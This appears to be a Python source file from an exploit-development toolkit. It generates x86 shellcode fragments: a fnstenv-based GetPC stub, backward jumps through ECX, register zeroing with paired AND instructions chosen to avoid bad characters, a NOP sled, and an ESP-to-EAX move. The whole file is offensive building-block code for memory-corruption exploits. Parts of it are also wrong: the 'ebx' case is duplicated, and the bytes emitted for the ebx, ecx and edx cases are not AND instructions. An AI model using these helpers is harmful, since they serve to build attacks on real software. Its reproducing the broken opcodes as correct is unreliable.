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Perego Paolo Further refactoring ffdda04 Apr 19, 2019
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def get_where_am_i_in_ecx():
# fldz
# fnstenv [esp-12]
# pop ecx
# add cl, 9
return "\xd9\xee\xd9\x74\x24\xf4\x59\x80\xc1\x09"
# jumps is how many 256 bytes backword jump you want to take
def jmp_backwards_ecx(jumps=1):
return get_where_am_i_in_ecx() + "\xfe\xcd" * jumps + "\xff\xe1"
def zero_eax():
"""
Creates a shellcode that set the EAX register 0 using two AND instructions.
If you look at the binary representation you can understand why these two
ANDs will set EAX to 0 whatever the starting value.
AND EAX, 0x554e4d4a
AND EAX, 0x2a313235
"""
return "\\x25\\x4A\\x4D\\x4E\\x55\\x25\\x35\\x32\\x31\\x2A"
def zero_with_and(reg="eax", badchar=[]):
while True:
first_and = secrets.token_hex(4)
n_b = bin(int(first_and, 16))
n_b_2 = bit_not(int(n_b, 2), 32)
if n_b_2 > 0:
break
second_and = format(n_b_2, 'x').zfill(8)
logging.debug("First AND: %s" % first_and)
logging.debug("Second AND: %s" % second_and)
first_and_hex = strings.from_string_to_payload(strings.swap(first_and))
second_and_hex = strings.from_string_to_payload(strings.swap(second_and))
if reg == "eax":
return "\\x25"+first_and_hex+"\\x25"+second_and_hex
if reg == "ebx":
return "\\xb1\\xe3"+first_and_hex+"\\xb1\\xe3"+second_and_hex
if reg == "ebx":
return "\\xb1\\xe3"+first_and_hex+"\\xb1\\xe3"+second_and_hex
if reg == "ecx":
return "\\xb1\\xe1"+first_and_hex+"\\xb1\\xe1"+second_and_hex
if reg == "edx":
return "\\xb1\\xe2"+first_and_hex+"\\xb1\\xe2"+second_and_hex
def nop_sled(count=1):
return "\\x90"*count
def get_esp_address_in_eax():
# PUSH ESP
# POP EAX
return "\\x54\\x58"
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